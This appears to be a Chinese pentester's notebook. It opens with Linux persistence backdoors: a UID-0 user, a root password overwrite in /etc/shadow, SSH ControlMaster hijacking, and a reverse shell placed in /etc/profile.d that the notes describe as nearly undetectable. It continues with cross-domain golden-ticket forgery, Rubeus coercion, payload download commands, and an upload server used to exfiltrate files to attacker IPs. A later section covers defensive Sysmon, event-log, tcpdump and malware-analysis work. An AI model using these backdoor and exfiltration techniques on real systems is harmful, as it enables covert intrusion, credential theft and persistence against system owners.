useradd -u 0 -o -g root -G root -M -s /bin/bash $user
passwd $user

如果不稳定，先修改root密码获取稳定shell之后部署如上部署后门

sudo sed -i 's|^root:.*|root:$6$iMuLtHxL$eBvAqDES77u7HyZJOoZMzLa7htpKdrQXWz7NPp1XnDncF/RgJ9Z12oOJFhS34A8hsGShfO/MQHai.DdZgYE2n0:18445:0:99999:7:::|' /etc/shadow
这里修改root密码为redhat，如果想替换也可以用如下命令生成hash
openssl passwd -6 -salt "$(openssl rand -base64 6)" $newpass

还有最简单的，直接将root的私钥抓到本地每次利用私钥登陆

利用controlmaster劫持ssh后门

类似于接管windows现有rdp会话

首先需要在/.ssh目录下找到config(没有就创建一个)，为其添加如下内容

Host *
        ControlPath ~/.ssh/controlmaster/%r@%h:%p
        ControlMaster auto
        ControlPersist yes

将其保存为644权限

chmod 644 ~/.ssh/config

在同级目录创建文件夹controlmaster

mkdir ~/.ssh/controlmaster

如果有其他人利用此用户ssh连接了其他机器，我们会在controlmaster文件夹看到如下文件生成

offsec@controller:~$ ls -al ~/.ssh/controlmaster/
total 8
drwxrwxr-x 2 offsec offsec 4096 May 13 13:55 .
drwx------ 3 offsec offsec 4096 May 13 13:55 ..
srw------- 1 offsec offsec    0 May 13 13:55 offsec@linuxvictim:22

此时有两种连接情况，1我们本身即是这个用户权限，即可直接ssh连接过去无需密码

offsec@controller:~$ ssh offsec@linuxvictim
Last login: Wed May 13 16:11:26 2020 from 192.168.120.40
offsec@linuxvictim:~$

2是我们具备root高权限，可用直接利用-S指定这个套接字劫持

root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim
Last login: Wed May 13 16:22:08 2020 from 192.168.120.40
offsec@linuxvictim:~$

还可以配合目录检查脚本来配合使用，比如说检测有新文件生成则访问我们的c2一次作为提醒有人中招了

/etc/profile.d/自动后门部署

/etc/profile.d/ 目录的作用：
- 当用户登录 Linux 系统（特别是使用 Bash shell 时），系统会加载 /etc/profile 文件。
- /etc/profile 文件内部通常包含一个逻辑：遍历并执行 /etc/profile.d/ 目录下所有以 .sh 结尾的文件。
- 因此，任何放置在 /etc/profile.d/ 目录下的 .sh 脚本，都会在每个用户登录时自动执行（包括 root 用户通过终端或 SSH 登录）利用起来也很简单，放置一个反弹shell.sh或者写公钥进去都是简单的操作，注意这个方式及其隐蔽，实战中甚至出现过运维完全无法处理（准确来说是找到）换服务器的情况

跨域攻击相关

注意跨域包括了林内跨域以及林外跨域，因为存在sid筛选，两者是有明显区分，林间会相对难以攻击但也不是完全没有手段

跨域黄金票据（林内）

优先考虑子域跨域到主域，没有开启sidhistory的林间域信任无法攻击

参考文章

https://medium.com/r3d-buck3t/breaking-domain-trusts-with-forged-trust-tickets-5f03fb71cd72

首先获取所需信息

#跨域黄金票据，获取rc4——hash以及两域sid
lsadump::trust /patch

跨域黄金票据

Invoke-Mimikatz -Command '"Kerberos::golden 
/user: Administrator 
/domain: dollarcorp.moneycorp.local [child_domain]
/sid: child_sid
/sids: root_sid
/rc4: Ticket HASH 
/service:krbtgt 
/target:moneycorp.local [root domain]
/ticket: location to save the ticket"'

链接数据库强制认证（林间或林内）

开启双向信任的委派攻击，所需目标域的mssql_xp_dirtree权限，以及拥有的另外一个域的dc_system权限

示例mssql服务

dc01.test1.com部署了mssql并且我们已经拥有xp_dirtree命令权限
dc01.test2.com我们已经有了dc的_system权限
两个是链接数据库（暂时不确定是否为必须权限，只是记录已攻击过案例）
两个域双向信任属于林间信任

使用鲁博在dc01.test2.com监听

.\Rubeus.exe monitor /interval:5 /nowrap

在dc01.test1.com的数据库中触发smb认证

xp_dirtree \\dc01.test2.com\nowrap

成功则会截获dc01.test1.com_tgt

小技巧

杀掉进程

taskkill /F /IM shell.exe

编译完毕各版本net工具

https://github.com/mishmashclone/Flangvik-SharpCollection

rubeus票据转换

首先复制到本地去除换行空格 linux换行

sed 's/ //g; :a;N;$!ba;s/\n//g' file

windows换行

先
tr -d ' ' < test.kirbi.b64 > cleaned.kirbi.b64
再
tr -d '\r\n' < cleaned.kirbi.b64 > final_ticket.b64

或者

dos2unix ed25519

之后bse64解密

base64 -d ticket.kirbi.b64 > ticket.kirbi

转换类型

impacket-ticketConverter ticket.kirbi ticket.ccache

注入票据

export KRB5CCNAME=ticket.ccache

本地全局查找文件

windows-powershell

Get-ChildItem -Path C:\ -Filter user.txt -Recurse -ErrorAction SilentlyContinue

linux

find / -name "flag.txt" 2>/dev/null

递归详细查找隐藏文件

gci -recurse -force -file <文件夹>

传递文件——传文件

分块传输

适应文件大小过大无法传输,以下命令是将程序分成100kb一份的程度

aplit -b 100 shell

传递到目标机器后合并

cat shell* > shell

base64传文件

linux

先将文件base64

base64 -w0 filename

在本地转义

echo "粘贴你的base64字符串" | base64 -d > filename

windows

本地编码

certutil -encode bypass.dll encoded.txt
certutil -encode CLM_Bypass.exe encoded.txt

传递后解码

certutil -decode encoded.txt c:/user/bypass.dll
certutil -decode encoded.txt c:/user/CLM_Bypass.exe

windows上传文件

cmd
certutil -urlcache -split -f http://你的IP/文件路径 保存路径
certutil -urlcache -split -f http://172.22.60.52:4488/4433.exe C:\windows\tasks\win443.exe
powershell
Invoke-WebRequest -Uri http://172.22.3.12:8888/win443.exe -OutFile "C:\windows\tasks\win443.exe"
或者
(New-Object System.Net.WebClient).DownloadFile('http://10.10.16.23:4444/shell.exe', 'C:\users\sqlsvc\Documents\shell.exe')
或者
powershell -c "iwr http://172.22.60.52:4488/4433.exe -OutFile $env:TEMP\win443.exe"

通用反向上传脚本（uploads.py）

#!/usr/bin/env python3
#curl -F "file=@/home/app/app/instance/users.db" http://10.10.16.6/
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi
import os
import io

PORT = 80
UPLOAD_DIR = "./uploads"

if not os.path.exists(UPLOAD_DIR):
    os.makedirs(UPLOAD_DIR)

class SimpleUploadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        html = '''
        <html><body>
        <h1>Upload file</h1>
        <form enctype="multipart/form-data" method="post">
          <input name="file" type="file"/>
          <input type="submit" value="Upload"/>
        </form>
        </body></html>
        '''
        self.wfile.write(html.encode('utf-8'))

    def do_POST(self):
        content_type = self.headers.get('content-type')
        if not content_type:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"No Content-Type header")
            return

        ctype, pdict = cgi.parse_header(content_type)
        if ctype != 'multipart/form-data':
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"Content-Type is not multipart/form-data")
            return

        length = int(self.headers.get('content-length'))
        post_data = self.rfile.read(length)  # 读取POST全部数据

        # 用BytesIO包裹post_data以支持FieldStorage读取
        post_io = io.BytesIO(post_data)

        form = cgi.FieldStorage(
            fp=post_io,
            headers=self.headers,
            environ={
                'REQUEST_METHOD': 'POST',
                'CONTENT_TYPE': content_type,
            }
        )

        if 'file' not in form:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"No file field in form")
            return

        file_item = form['file']
        if not file_item.filename:
            self.send_response(400)
            self.end_headers()
            self.wfile.write(b"No filename provided")
            return

        filename = os.path.basename(file_item.filename)
        file_data = file_item.file.read()

        filepath = os.path.join(UPLOAD_DIR, filename)
        with open(filepath, 'wb') as f:
            f.write(file_data)

        self.send_response(200)
        self.end_headers()
        self.wfile.write(f"File '{filename}' uploaded successfully\n".encode())

def run():
    server_address = ('', PORT)
    httpd = HTTPServer(server_address, SimpleUploadHandler)
    print(f"Starting server on port {PORT}, saving uploads to {UPLOAD_DIR}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

使用方式

python3启动后会自动监听80口并且在当前目录下生成uploads文件夹，之后可以利用不同的命令通过linux以及windows连接kali回传文件，适用于大文件以及目标环境特殊没有其他工具之类的,下面是举例命令

linux

curl -F "file=@/home/app/app/instance/users.db" http://10.10.16.6/

windows

$wc = New-Object System.Net.WebClient
$wc.UploadFile("http://10.10.16.30/", "POST", "C:\inetpub\DeviceHealthAttestation\bin\hassrv.dll")

ssh协议传文件

可以将文件传递或者下载，使用就是在前面的文件会被传递到后面的目录当中，跟着服务地址的就是服务端目录或者文件

密码传递

scp root@10.10.110.123:/root/.wackymaker/fscan.txt /home/wackymaker/tmp/prolab/offshare/

私钥传递

scp -i id_rsa root@10.10.110.123:/root/.wackymaker/fscan.txt /home/wackymaker/tmp/prolab/offshare/

smbclient递归下载或上传文件

递归下载

先
prompt off
之后
recurse true
最后
mget <文件夹>

递归上传本地所有文件

mput *

windows查看文件权限(or文件夹)

先移动到目标文件夹上方
icacls $file

各工具ntlm认证禁用处理方式-kerbores认证

首先都需要请求tgt并导入，可以用impacket包

impacket-getTGT $domain/$user:$pass -dc-ip $ip

impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip

也可以用nxc

nxc smb $ip -u $user -p $pass -k --generate-tgt $user

export KRB5CCNAME=administrator.ccache

虽然大部分工具只需要导入即可，但还是建议在这种特殊情况时配置/etc/krb5.conf，Kerberos 客户端配置文件，，以下是一个htb靶机当中的示例，更具情况进行修改即可，我会在后续需要用到它的时候标注

# /etc/krb5.conf
[libdefaults]
    # 默认的 Kerberos Realm（必须大写，与 AD 域名一致）
    default_realm = RUSTYKEY.HTB
    
    # 禁用 DNS 查询 Realm（防止 DNS 欺骗或解析问题）
    dns_lookup_realm = false
    
    # 禁用 DNS 查询 KDC（直接使用下面 [realms] 中指定的 IP）
    dns_lookup_kdc = false
    
    # 票据默认有效期（24小时）
    ticket_lifetime = 24h
    
    # 允许票据转发（用于 Pass-the-Ticket 攻击）
    forwardable = true
    
    # 如果目标域使用 AES 加密（而不是 RC4），需要启用
    #default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
    #default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
    #permitted_enctypes   = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac

[realms]
    # 定义 RUSTYKEY.HTB 域的 KDC（Key Distribution Center）
    RUSTYKEY.HTB = {
        # 主域控制器（Primary Domain Controller）的 IP
        kdc = 10.10.11.75
        
        # 可选：备用域控制器（如果有）
        # admin_server = 10.10.11.76
        
        # 默认域名（可选）
        default_domain = RUSTYKEY.HTB
    }

[domain_realm]
    # 将域名映射到 Kerberos Realm（确保大小写匹配）
    # 所有 .rustykey.htb 子域都会使用 RUSTYKEY.HTB Realm
    .rustykey.htb = RUSTYKEY.HTB
    
    # 主域名映射
    rustykey.htb = RUSTYKEY.HTB

当然，后续我发现了nxc可以做到自动生成

nxc smb $ip -u $user -p $pass -k --generate-krb5-file krb5.conf

impacket包

使用的时候只需要导入票据，在原本使用基础上-k -no-pass,或者不使用 -k -no-pass，单纯使用用户名或者密码进行-k参数也能使用，impacket包会自动完成请求tgt并导入的操作

nxc

导入票据后，在原有命令加上

-k

bloodhound-python

加上参数

导入后使用 -k -no-pass

bloodyad

三种使用方式

第一种，在仅仅导入票据的情况下

-k

第二种，如果你同时提供了 -u（用户名）、-d（域），并加上 -k 与 -p（密码），工具会自动尝试从 KDC 获取一个 TGT。

-k -p 'Password123!'

第三种，带多个关键词和认证文件

例如下
-k kdc=192.168.100.1 realmc=foreign.realm.corp ccache=/home/user/Admin.ccache
如果有需要也可以使用如下字段
kdc=<IP>	指定用于认证的 Kerberos KDC 地址，即你希望发送 TGT/ST 请求的域控制器 IP
ccache=<path>	使用 .ccache 文件作为凭据（如从 impacket-getTGT 或 getST 获得的文件）
kirbi=<path>	使用 .kirbi 格式的 Kerberos 票据
keytab=<path>	使用 .keytab 文件作为认证凭据
pem=<path> / pfx=<path>	使用证书文件进行 Kerberos PKINIT（较高级）
realmc=<REALM>	指定远程主机所在的 外部 realm，用于跨域认证（cross-realm）
kdcc=<IP>	如果是 cross-realm，指定 远程 realm 的 KDC 地址

certipy-ad

正常导入即可

-k -no-pass

evil-winrm 以及 evil-winrm-py

比较恶心的一个，不仅需要指定票据还需要使用配置文件,例如

KRB5CCNAME='svc_winrm.ccache' evil-winrm -i DC.voleur.htb -r VOLEUR.HTB -u 'svc_winrm'

-r VOLEUR.HTB，这个参数需要指向配置文件中的Realm

密码转换ntlm

kali运行命令

iconv -f ASCII -t UTF-16LE <(printf "密码") | openssl dgst -md4

监听交互shell

rlwrap -cAr nc -lnvp 7777

.tar.gz压缩与解压

压缩文件夹中的所有文件

tar -czvf mydata_content.tar.gz -C ~/mydata .

压缩这个文件夹（含目录结构）

tar -czvf mydata.tar.gz ~/mydata

解压

tar -xzvf file.tar.gz

解文件元数据

exiftool filename

剥茧之书

Sun, 26 Oct 2025 21:42:11 +0800

事件日志分析

Sysmon日志是由Microsoft系统监视器（Sysmon）生成的事件日志，它们提供有关Windows上的系统级操作的详细信息，并记录进程启动、网络连接、文件和注册表修改、驱动程序和服务活动以及WMI操作等活动，通过分析Sysmon日志，安全专家可以检测潜在风险、发现异常并响应安全事件，以增强整体系统监控和安全性。在不断变化的网络安全环境中，提前防范威胁非常重要。

sysmon部署

下载

https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

激活

sysmon.exe -i -accepteula -h md5,sha256,imphash -l -n

导入sysmon配置，可以使用下面这个,能检测常见的dll注入lsass抓取等

https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml

下载后将配置文件中需要检测的部分中的参数进行修改

#include更改为exclude
# 比如
	<RuleGroup name="" groupRelation="or">
		<FileCreateTime onmatch="include">
			<Image name="T1099" condition="begin with">C:\Users</Image> <!--Look for timestomping in user area, usually nothing should be doing that here-->
			<TargetFilename name="T1099" condition="end with">.exe</TargetFilename> <!--Look for backdated executables anywhere-->
			<Image name="T1099" condition="begin with">\Device\HarddiskVolumeShadowCopy</Image> <!--Nothing should be written here | Credit: @SBousseaden [ https://twitter.com/SBousseaden/status/1133030955407630336 ] -->
		</FileCreateTime>
	</RuleGroup>
#改为
	<RuleGroup name="" groupRelation="or">
		<FileCreateTime onmatch="exclude">
			<Image name="T1099" condition="begin with">C:\Users</Image> <!--Look for timestomping in user area, usually nothing should be doing that here-->
			<TargetFilename name="T1099" condition="end with">.exe</TargetFilename> <!--Look for backdated executables anywhere-->
			<Image name="T1099" condition="begin with">\Device\HarddiskVolumeShadowCopy</Image> <!--Nothing should be written here | Credit: @SBousseaden [ https://twitter.com/SBousseaden/status/1133030955407630336 ] -->
		</FileCreateTime>
	</RuleGroup>

导入配置

C:\Tools\Sysmon> sysmon.exe -c sysmonconfig-export.xml

Event ID(事件id)

https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events

Sysmon日志中所使用的全部Event ID都已经在微软的Sysmon页面上进行了介绍，其中包括：

    1：进程创建
    2：文件创建时间修改
    3：网络连接
    5：进程终止
    11：文件创建
    12：注册表对象创建和删除
    13：注册表值设置
    22：DNS查询
    23：文件删除（带归档）
    26：文件删除（不带归档）

分析

此日志一般后缀为.evtx,要进行分析需要转换为json

https://github.com/EricZimmerman/evtx

.\EvtxECmd.exe -f $待转换日志.evtx --json $输出.json

在转换过程中，我们会看到此日志事件记录条数以及各事件的出现次数类似如下

Records included: 169 Errors: 0 Events dropped: 0

Metrics (including dropped events)
Event ID        Count
1               6
2               16
3               1
5               1
7               15
10              1
11              56
12              14
13              19
15              2
17              7
22              3
23              26
26              2

Processed 1 file in 0.9008 seconds

各事件次数

第一种方式就是利用EvtxECmd.exe转换json的时候会简单看到，第二种是利用jq查询此json的时候使用如下命令

cat .\Output.json | jq -sc 'group_by(.EventId) | map({EventId: .[0].EventId, count: length}) | .[]'

jq会将输入的json当作一个json处理，并依据EventId进行分组并记录次数后输出，效果如下

PS C:\Users\wacky\Desktop\code\tools\EvtxECmd\EvtxeCmd\nite42.json> cat .\20250818040123_EvtxECmd_Output.json| jq -sc 'group_by(.EventId) | map({EventId: .[0].EventId, count: length}) | .[]'
{"EventId":1,"count":6}
{"EventId":2,"count":16}
{"EventId":3,"count":1}
{"EventId":5,"count":1}
{"EventId":7,"count":15}
{"EventId":10,"count":1}
{"EventId":11,"count":56}
{"EventId":12,"count":14}
{"EventId":13,"count":19}
{"EventId":15,"count":2}
{"EventId":17,"count":7}
{"EventId":22,"count":3}
{"EventId":23,"count":26}
{"EventId":26,"count":2}

单独事件分析（举例分析事件1）

利用jq以EventId为参数分离某类事件,这里分类的是1类事件

cat .\20240408132435_EvtxECmd_Output.json | jq -c 'select(.EventId == 1)' > eventid1.json

之后可以取出第一条事件，我们可以了解此json的字段

cat .\eventid1.json | jq -s '.[0]'

事件1信息如下

1️⃣ 基础事件信息

包括 EventId、时间戳、EventRecordId、Channel、Provider、Level、SourceFile 等

描述了这条事件本身的元信息，即日志是谁生成的、什么时候生成、记录编号是多少。

2️⃣ 进程相关信息

包括 PayloadData1~6、ExecutableInfo、ProcessId、ThreadId、UserName、Hashes 等

描述了事件关联的进程及其父进程的详细信息：路径、ID、GUID、命令行、父进程信息、哈希值、执行用户等。

对应输出类似如下

1️⃣ 基础事件信息
字段	示例	说明
EventId	1	Sysmon 事件类型：1 表示 进程创建
EventRecordId	118772	日志在 Sysmon 日志文件中的记录编号
TimeCreated	2024-02-14T03:41:45.3058822+00:00	事件发生的 UTC 时间
Level	Info	日志级别
Keywords	Classic	日志关键字类别
Channel	Microsoft-Windows-Sysmon/Operational	Sysmon 日志通道
Provider	Microsoft-Windows-Sysmon	生成事件的提供者
SourceFile	…\Microsoft-Windows-Sysmon-Operational.evtx	原始 EVTX 文件路径
RecordNumber	26	事件记录编号（局部顺序）
HiddenRecord	false	是否为隐藏记录（通常为 false）

2️⃣ 进程相关信息
字段	示例	说明
PayloadData1	ProcessID: 5584, ProcessGUID: 817bddf3-3679-65cc-2902-000000001900	当前进程 ID 和 GUID
PayloadData4	ParentProcess: C:\Program Files\Mozilla Firefox\firefox.exe	父进程路径
PayloadData5	ParentProcessID: 4292, ParentProcessGUID: 817bddf3-3514-65cc-0802-000000001900	父进程 ID 和 GUID
PayloadData6	ParentCommandLine: "C:\Program Files\Mozilla Firefox\firefox.exe"	父进程启动命令行
ProcessId	3028	当前事件的 Windows 进程 ID（与 PayloadData1 中 5584 对比，可能是 EvtxECmd 内部映射）
ThreadId	4412	触发事件的线程 ID
ExecutableInfo	"C:\Program Files\Mozilla Firefox\pingsender.exe" …	当前进程完整路径及命令行参数
UserName	DESKTOP-887GK2L\CyberJunkie	执行进程的用户

3️⃣ 文件/哈希信息
字段	示例	说明
PayloadData3	SHA1=282F…, MD5=…, SHA256=…, IMPHASH=…	进程可执行文件的哈希值，IMPHASH 用于检测恶意文件家族
PayloadData2	RuleName: technique_id=T1027, technique_name=Obfuscated Files or Information	MITRE ATT&CK 对应技术（这里表示混淆文件或信息）

4️⃣ Parent / 上级进程信息
字段	示例	说明
ParentProcess	C:\Program Files\Mozilla Firefox\firefox.exe	父进程路径
ParentProcessID	4292	父进程 ID
ParentProcessGUID	817bddf3-3514-65cc-0802-000000001900	父进程 GUID
ParentCommandLine	"C:\Program Files\Mozilla Firefox\firefox.exe"	父进程启动命令行
ParentUser	DESKTOP-887GK2L\CyberJunkie	父进程执行用户

5️⃣ Sysmon EventData 字段（Payload）

Payload 内部是 Sysmon 原始 XML EventData 转成 JSON
包含详细字段如：
Image → 进程路径
CommandLine → 启动参数
Hashes → 文件哈希
User → 执行用户
ParentImage / ParentCommandLine / ParentUser → 父进程信息
IntegrityLevel → 进程权限级别（这里是 Medium）

接下来我们可以用下面的语法输出整个事件1当中我们感兴趣的所有字段

cat .\eventid1.json | jq -s '.[] | [.TimeCreated, .PayloadData4, .ExecutableInfo, .PayloadData1, .PayloadData5]'

就像这里我输出了.TimeCreated → 事件发生时间 .PayloadData4 → 父进程路径 .ExecutableInfo → 当前进程完整路径及命令行 .PayloadData1 → 当前进程 ID 和 GUID .PayloadData5 → 父进程 ID 和 GUID

#示例输出
[
  "2024-02-14T03:41:56.5596188+00:00",
  "ParentProcess: C:\\Windows\\explorer.exe",
  "\"C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe\" ",
  "ProcessID: 10672, ProcessGUID: 817bddf3-3684-65cc-2d02-000000001900",
  "ParentProcessID: 1116, ParentProcessGUID: 817bddf3-311f-65cc-0a01-000000001900"
]

简单的利用分析就是这样

常用分析命令

cat .\20240408132435_EvtxECmd_Output.json | jq -c 'select(.EventId == 11)' | findstr 10672 | jq -s '.[] | [.TimeCreated, .PayloadData4]'

这条命令效果是筛选事件id为11的事件，并进一步筛选出包含10672字段的事件并输出其中的TimeCreated, PayloadData4字段

隼鸟快速使用

筛选出存在关键词的事件输出为json

hayabusa search -f Windows-Powershell-Operational.evtx -k "keyword“ -J -o "this.json"

以时间线输出csv,可以手动选择匹配模式，一般选最大

hayabusa csv-timeline -f Windows-Powershell-Operational.evtx -o time_powershell.csv

特殊安全事件速查

痕迹清除痕迹

事件 ID 1102 (The audit log was cleared) ：清除审计日志通常是试图删除入侵或恶意活动证据的迹象。

登陆相关(爆破)

事件 ID 4625 (Failed Logon) ：此事件记录登录失败的次数。多次登录失败可能意味着正在进行暴力攻击。
事件 ID 4624 (Successful Logon) ：此事件记录成功登录事件。此信息对于建立正常的用户行为至关重要。异常行为（例如在非正常时间或从不同地点尝试登录）可能预示着潜在的安全威胁。
事件 ID 4672 (Special Privileges Assigned to a New Logon) ：每当帐户以超级用户权限登录时，都会记录此事件。跟踪这些事件有助于确保超级用户权限不会被滥用或恶意使用
事件 ID 4648 (A logon was attempted using explicit credentials) ：当用户使用显式凭据登录并运行程序时，会触发此事件。这些登录事件中的异常可能表明网络内存在横向移动，这是攻击者常用的技术。
事件 ID 4771 (Kerberos pre-authentication failed) ：此事件与 4625（登录失败）类似，但专用于 Kerberos 身份验证。此类日志数量异常可能表明攻击者正在尝试暴力破解您的 Kerberos 服务。
事件 ID 4776 (The domain controller attempted to validate the credentials for an account) ：此事件用于跟踪域控制器凭据验证的成功和失败尝试。多次失败可能表明存在暴力攻击。
事件 ID 5140 (A network share object was accessed) ：每当访问网络共享时都会记录此事件。这对于识别未经授权的网络共享访问至关重要。

defender检测相关

事件 ID 1116 (Antivirus malware detection) ：此事件尤为重要，因为它会在 Defender 检测到恶意软件时进行记录。此类事件的激增可能表明存在针对性攻击或大范围恶意软件感染。
事件 ID 1118 (Antivirus remediation activity has started) ：此事件表示 Defender 已开始删除或隔离检测到的恶意软件。监控这些事件对于确保补救措施成功至关重要。
事件 ID 1119 (Antivirus remediation activity has succeeded) ：此事件表示检测到的恶意软件的修复过程已成功。定期监控这些事件将有助于确保有效消除已识别的威胁。
事件 ID 1120 (Antivirus remediation activity has failed) ：此事件与 1119 对应，表示补救过程失败。应密切监控并立即处理此类事件，以确保有效消除威胁。
事件 ID 5001 (Antivirus real-time protection configuration has changed) ：此事件表示 Defender 的实时保护设置已被修改。未经授权的更改可能表示有人试图禁用或破坏 Defender 的功能。

敏感行为

事件 ID 4656 (A handle to an object was requested) ：请求对象（例如文件、注册表项或进程）的句柄时会触发此事件。此事件对于检测访问敏感资源的尝试非常有用。
事件 ID 4698 (A scheduled task was created) ：创建计划任务时触发此事件。监控此事件有助于检测持久性机制，因为攻击者经常使用计划任务来维持访问权限并运行恶意代码。
事件 ID 4700 和事件 ID 4701 (A scheduled task was enabled/disabled) ：记录计划任务的启用或禁用。计划任务经常被攻击者操纵，以实现持久化或运行恶意代码，因此这些日志可以为可疑活动提供有价值的洞察。
事件 ID 4702 (A scheduled task was updated) ：与 4698 类似，此事件在计划任务更新时触发。监控这些更新有助于检测可能存在恶意意图的更改。
事件 ID 4719 (System audit policy was changed) ：此事件记录了计算机上审核策略的更改。这可能表明有人试图通过关闭审核或更改要审核的事件来掩盖其踪迹。
事件 ID 4738 (A user account was changed) ：此事件记录对用户帐户所做的任何更改，包括权限、组成员身份和帐户设置的更改。意外的帐户更改可能是帐户被接管或内部威胁的征兆。
事件 ID 5142 (A network share object was added) ：此事件表示创建了新的网络共享。未经授权的网络共享可能被用于窃取数据或在网络中传播恶意软件。
事件 ID 5145 (A network share object was checked to see whether client can be granted desired access) ：此事件表示有人尝试访问网络共享。频繁进行此类检查可能表明用户或恶意软件正在尝试映射网络共享，以备将来利用。
事件 ID 5157 (The Windows Filtering Platform has blocked a connection) ：当 Windows 筛选平台阻止连接尝试时，会记录此事件。这有助于识别网络上的恶意流量。
事件 ID 7045 (A service was installed in the system) ：突然出现未知服务可能表明安装了恶意软件，因为许多类型的恶意软件都会将自身安装为服务。

流量分析

tcpdump使用

需要root权限，并且如果需要生成数据包，请在tmp目录生成

开关级参数

参数	口语化说明
-D	显示所有可用的网络接口
-i	指定要抓包的网络接口，例如 `-i eth0`
-n	不把 IP 地址或端口号转换成名字，直接显示数字
-e	抓包时连以太网头也抓上
-X	以十六进制和 ASCII 显示数据包内容
-XX	跟 -X 一样，但同时显示以太网头
-v / -vv / -vvv	增加输出的详细程度，越多 v 信息越详细
-c	抓指定数量的数据包后退出，例如 `-c 10`
-s	设置每个数据包抓多少字节，`-s 0` 表示抓完整包
-S	显示绝对序列号，而不是相对序列号
-q	输出更简略的协议信息
-r 文件.pcap	从指定文件读取抓包数据，例如 `-r /tmp/capture.pcap`
-w 文件.pcap	把抓到的数据写入指定文件，例如 `-w out.pcap`
-A	仅显示数据包行后的 ASCII 文本
-w 文件.pcap	把抓到的数据写入指定文件，例如 `-w out.pcap`
-l	快速检查捕获，可以利用管道符号配合，例如 `sudo tcpdump -Ar http.cap -l

过滤器

过滤器	说明
host x.x.x.x	仅捕获与特定主机相关的流量
net x.x.x.x/24	捕获进出特定网络的流量（斜杠表示法指定掩码）
src net x.x.x.x/24	仅捕获来自指定网络的流量
dst net x.x.x.x/24	仅捕获发往目标网络的流量
port #	只捕获指定端口的流量，其余端口过滤掉
not	捕获除指定条件之外的所有流量，例如 `not port 80`
and	连接多个过滤条件，例如 `host 192.168.1.1 and port 80`
portrange x-x	捕获指定端口范围内的流量
ip / ether / tcp	只抓指定协议的流量
broadcast	捕获广播流量（一对所有）
multicast	捕获多播流量（一对多）
unicast	捕获单播流量（一对一）

列出可用接口

sudo tcpdump -D

大参数抓取流量包命令示例

sudo tcpdump -i eth0 -nnvXX -c 100 -w /tmp/output.pcap
#禁用名称解析且启用ascii和十六进制的详细抓前100个完整数据包并输出到目标文件

快速读取数据包中的人类可读信息

sudo tcpdump -Ar telnet.pcap

当然也可以配合-l进行查找效果

sudo tcpdump -Ar telnet.pcap -l | grep 'flag*'

恶意软件分析相关

linux静态分析（pe载荷）

类型相关

识别文件类型

file $file

基础hash相关

转md5指纹识别

md5sum $file
#之后去沙箱查找https://www.virustotal.com/gui/home/search

导入hash生成脚本

import sys
import pefile
import peutils

pe_file = sys.argv[1]
pe = pefile.PE(pe_file)
imphash = pe.get_imphash()

print(imphash)

模糊散列碰撞（SSDEEP）

# 也称为上下文触发分段哈希 (CTPH)，是一种哈希技术，旨在计算指示两个文件之间内容相似度的哈希值。该技术将文件分解成较小的固定大小的块，并计算每个块的哈希值。然后将生成的哈希值合并，生成最终的模糊哈希值。

输出模糊散列

ssdeep $file

匹配同目录下是否有相似程序

ssdeep -pb *

pe部分hash

# （对 PE 段进行哈希处理）是一种强大的技术，它允许分析人员识别可移植可执行 (PE) 文件中已被修改的段

脚本

import sys
import pefile
pe_file = sys.argv[1]
pe = pefile.PE(pe_file)
for section in pe.sections:
    print (section.Name, "MD5 hash:", section.get_hash_md5())
    print (section.Name, "SHA256 hash:", section.get_hash_sha256())

字符串分析

strings

strings -n 15 $file
# -n 指定打印至少指定数字的序列 - 在我们的例子中为 15 。

floss

# FLOSS 是“FireEye Labs 混淆字符串解析器”的缩写，是由 FireEye 的 FLARE 团队开发的一款工具，用于自动对恶意软件中 FLOSS 字符串进行反混淆处理

floss $file

脱壳

upx壳

upx -d -o $file $out_file

windows静态分析（pe载荷）

文件类型

这个可以使用die或者cff等pe查看器，不想贴图暂时不记录

基础hash相关

利用powershell生成载荷md5或者sha256hash

Get-FileHash -Algorithm MD5 $file
Get-FileHash -Algorithm SHA256 $file
#之后去沙箱查找https://www.virustotal.com/gui/home/search

导入hash脚本与linux一直，都用python

import sys
import pefile
import peutils

pe_file = sys.argv[1]
pe = pefile.PE(pe_file)
imphash = pe.get_imphash()

print(imphash)

模糊散列碰撞（SSDEEP）

windows上的操作与linux一致，不做复述

pe部分hash

脚本与linux一致

import sys
import pefile
pe_file = sys.argv[1]
pe = pefile.PE(pe_file)
for section in pe.sections:
    print (section.Name, "MD5 hash:", section.get_hash_md5())
    print (section.Name, "SHA256 hash:", section.get_hash_sha256())

也可以使用pe工具（pestudio）

拖入载荷，在footprints中找到section>.text>md5

字符串分析

strings和floss一样能用，不复述，在linux静态分析中

脱壳

upx操作与linux一致，不复述

动态分析

Noriben配合Process Monitor

准备虚拟环境，同时部署Process Monitor以及Noriben脚本

Noriben会在启用后调用Process Monitor过滤无用信息，记录当前的异常访问或系统事件

分析流程

首先启动Noriben

PS C:\Tools\Noriben-master> python .\Noriben.py

--===[ Noriben v1.8.8
[*] Using filter file: ProcmonConfiguration.PMC
[*] Using procmon EXE: C:\ProgramData\chocolatey\bin\procmon.exe
[*] Procmon session saved to: Noriben_27_Oct_25__03_28_473199.pml
[*] Launching Procmon ...
[*] Procmon is running. Run your executable now.
[*] When runtime is complete, press CTRL+C to stop logging.

之后启动恶意载荷，运行一段时间，觉得差不多的时候终止Noriben分析

终止时首先需要使用任务管理器关闭 Procmon，再关闭 Noriben（Ctrl+C），要不然有几率报错

之后会看到生成的txt报告，Noriben会输出载荷运行过程中的典型恶意行为

[*] Procmon is running. Run your executable now.
[*] When runtime is complete, press CTRL+C to stop logging.

